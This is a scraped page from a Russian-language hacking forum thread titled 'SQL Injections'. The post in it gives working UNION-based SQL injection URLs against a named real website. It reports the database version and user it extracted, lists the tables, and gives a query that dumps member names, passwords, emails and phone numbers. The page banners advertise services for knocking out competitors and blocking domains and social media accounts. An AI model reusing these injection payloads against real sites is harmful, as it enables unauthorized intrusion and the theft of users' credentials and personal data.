SQL Инъекции

FORUMS

MEMBERS

RECENT POSTS

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Опции темы

Поиск в этой теме

Опции просмотра

#11

01.11.2007, 10:58

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

С нами: 10194175

Репутация: 524

kaosweaver.com

Код:

http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4/*

5.0.27-standard:kaosweav_kwmaster:kaosweav_kuserdb@localh ost
76 таблиц:

Код:

http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+table_name,2,3,4+from+information_schema.tables+limit+75,1/*

Из интересных таблиц - bbs_users и tblMembers.
В bbs_users есть поля: username, password, email, url, jabber, realname, icq, msn, aim, yahoo.
А в tblMembers есть поля m_firstName, m_lastName, m_password, m_email, m_phone ну и адрес,
факс и прочая херь...

Код:

http://www.kaosweaver.com/ExtensionsHelp/kaoshelp.php?id=-1+union+select+concat_ws(0x3a,m_firstName,m_lastName,m_password,m_email,m_phone),2,3,4+from+tblMembers+limit+0,1/*

Предыдущая тема Следующая тема

Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)

Быстрый переход

Home

Help

Terms and Rules